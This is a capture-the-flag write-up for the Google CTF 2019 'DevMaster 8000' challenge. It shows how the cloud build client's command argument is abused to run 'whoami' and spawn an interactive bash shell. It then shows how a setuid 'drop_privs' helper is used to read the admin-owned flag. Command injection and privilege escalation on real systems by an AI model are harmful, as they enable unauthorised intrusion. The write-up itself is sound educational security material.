# Google CTF 2019 - DevMaster 8000
This write-up talks most likely about the intended solution for this challenge.
## Description```Welcome to the DevMaster 8000, your one-stop shop for building your binaries in the cloud!
I wonder who else might be sharing the DevMaster 8000.
nc devmaster.ctfcompetition.com 1337```
## Thought process
### Initial reconImportant points:>building your binaries in the cloud!
>I wonder who else might be sharing the DevMaster 8000.
So they build binaries for you, and they give you a hint that someone else (probably an automated intended process) is using that same machine.
First thing to do is to download the attachment and see what's inside. You are welcomed with a huge amount of information, in specific, documentation in a `README.md` file.
After skimming through the file you can see the program can be used this way:```client nc <ip> <port> -- header.h source.cc -- my_binary -- g++ source.cc -o my_binary```
So we run something like:```./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- g++ test.c -o test```
Contents of `test.c`:```#include <iostream>
int main(){	std::cout << "Hello world!" << std::endl;}```
This returns a binary with the name `test` on our current directory.
### RCE
We can see that the last part of that command (`g++ test.c -o test`) smells fishy, so we try modifying that a bit and send:```./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- whoami```
Output:```sandbox-runner-0Received unexpected opcode 1836213620 from server.[...]Received unexpected opcode 1818326560 from server.```
Great! Seems like arbitrary command execution, now we'll try modifying that command a bit.```./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- bash 2> /dev/null```
This rewards us with an interactive shell.
### LPE
After exploring the file system for a bit we run a `ls -lah` on `/home/user/` and see this output:```ls -lahtotal 1.7Mdrwxrwxr-x 3 root  root   360 Jun 19 21:13 .drwxrwxrwt 3 root  root    60 Jun 26 09:11 ..-r-xr-xr-- 1 admin admin  56K Jun 26 09:12 admin-r-xr-xr-- 1 root  root  2.3K May 30 06:10 admin.cc-r-xr-xr-- 1 root  root   76K Jun 19 21:05 admin_builder_clientdrwxrwxr-x 6 root  root   120 Jun 26 09:12 builds-r-xr-xr-- 1 root  root  1.6K May 30 20:36 challenge.sh-r-xr-xr-- 1 root  root   85K Jun 19 21:05 client-rwsr-sr-- 1 root  root   13K Jun 19 21:05 drop_privs-r-xr-xr-- 1 root  root   24K Jun 19 21:05 executor-r-xr-xr-- 1 root  root  1.1K Jun 19 02:45 file_setup.sh-r--r----- 1 admin admin   64 Mar 26 01:35 flag-r-xr-xr-- 1 root  root  1.3M Jun 19 21:05 linux-sandbox-r-xr-xr-- 1 root  root   68K Jun 19 21:05 multiplexer-r-xr-xr-- 1 root  root  1.3K Jun 19 02:45 nsjail_setup.sh-r-xr-xr-- 1 root  root   13K Mar 26 00:59 picosha2.h-r-xr-xr-- 1 root  root  106K Jun 19 21:05 server-r-xr-xr-- 1 root  root   724 May 28 01:41 target_loop.sh```
`drop_privs` sticks out as a binary with the execute and setuid bit set for user and group root.
Luckily when we run `id` we see that we are in the group root for some reason:```uid=1338(sandbox-runner-0) gid=1338(sandbox-runner-0) groups=1338(sandbox-runner-0),0(root)```
Since we have the `drop_privs` source code, we can just check it (`src/drop_privs.cc`) to see what it does.
We see the string `std::cerr << "Usage: " << argv[0] << " user group command [args...]" << std::endl;` so we try to execute:```./drop_privs admin admin cat /home/user/flag```
And the output is unsurprisingly the flag.```CTF{x}```
The binary does literally just run the command you specify with the permissions from user and group you specify if they exist.